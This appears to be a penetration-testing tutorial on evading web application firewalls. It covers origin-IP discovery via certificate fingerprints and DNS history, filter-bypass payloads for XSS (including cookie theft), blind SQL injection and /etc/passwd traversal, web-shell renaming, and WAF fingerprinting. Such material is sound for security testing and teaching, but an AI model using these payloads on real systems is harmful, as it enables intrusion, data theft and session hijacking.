WAF Evasion

In this section I will explain techniques to found the original IP of the hosted webapp.

SSL Certificates

First we need to look inside the SSL Certificate of the webapp in order to find the fingerprint (SHA256)

Fingerprint of SSL Certifcate

With censys you can search different hosted webpages with the same SSL fingerprint, so these are from the same company.

Censys results.

Once you obtained the different domains or IPs that have the same fingerprint try to discover the IPs and play with the Host HTTP header.

curl -kv https://190.12.34.42/

It's common that the companies buys a range of IPs, so you should need to check more parent IPs.

curl -kv https://190.12.34.40/
curl -kv https://190.12.34.41/
curl -kv https://190.12.34.43/
curl -kv https://190.12.34.44/
curl -kv https://190.12.34.45/
curl -kv https://190.12.34.46/

DNS History

Some times the companies put a WAF on a web application, but they don't configure it properly and any source IP instead of only the WAF can request the server.

So we can check the DNS history with viewdnsinfo to search the old IP.

https://viewdns.info/iphistoryviewdns.info

Finally with suip.biz we can check which apps are hosted on a server.

LogoWeb-sites on a single IPsuip.biz

Bypassing blacklisting WAFs

The whitelisting mode is prone to false positives, which is the reason it is very common to find WAFs deployed in blacklisting mode rather than whitelisting mode.

The blacklisting mode is a collection of well-known attacks. WAF producers put together a list of rules to protect a web application against various attack vectors that are used to exploit the most common vulnerabilities.

So we can use different payloads to bypass some filters.

Cross-Site Scripting (XSS)

  • Instead of using alert('xss') or alert(1) we can choose a better option:

prompt('xss')
prompt(8)
confirm('xss')
confirm(8)
alert(/xss/.source)
window[/alert/.source](8)

  • Instead of using alert(document.cookie) we can use:

with(document)alert(cookie)
alert(document['cookie'])
alert(document[/cookie/.source])
alert(document[/coo/.source+/kie/.source])

  • Instead of using <img src=x onerror=alert(1);> we can use:

<svg/onload=alert(1)>
<video src=x onerror=alert(1);>
<audio src=x onerror=alert(1);>

  • Instead of javascript:alert(document.cookie) we can use:

data:text/html:base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

Blind SQL Injection (Blind SQLi)

  • Instead of using ' or 1=1 we can use:

' or 6=6
' or 0x47=0x47
or char(32)=''
or 6 is not null

  • Instead of UNION SELECT we can use:

UNION ALL SELECT

Directoy Traversal

  • Instead of using /etc/passwd we can use:

/too/../etc/far/../passwd
/etc//passwd
/etc/ignore/../passwd
/etc/passwd.......

Web Shell

  • Instead of using c99.php , r57.php , shell.aspx , cmd.jsp, CmdAsp.asp we can use:

augh.php

WAF Detection and Fingerprinting

WAF systems leave several footprints of their presence, which allow us to detect which WAF is in place.

wafw00f is a tool that can detect up to 20 different WAF products.

wafw00f www.example.com

Also it can be possible to detect the WAF vendor with a nmap script.

nmap --script=http-waf-fingerprint www.imperva.com -p 80

Cookie Values

Some WAF systems reveal their presence through cookies.

WAF Vendor
Cookies

Citrix Netscaler

n_saf, citrix_ns_id or NSC_

F5 BIG-IP ASM

^TS[a-zA-Z0-9]{3,6}

Barracuda

barra_counter_session and BNI__BARRACUDA_LB_COOKIE

Header Rewrite

Some WAFs rewrite the HTTP headers. Usually modify the Server header.

  • Original Request

HTTP/1.1 200 OK
Date: Mon, 7 Apr 2014 10:10:50 GMT
Server: Apache (Unix)
Content-Type: text/html
Content-Length: 2506

  • Modified Request

HTTP/1.1 404 Not Found
Date: Mon, 7 Apr 2014 10:11:06 GMT
Server: Netscape-Enterprise/6.1
Content-Type: text/html; 
Content-Length: 158
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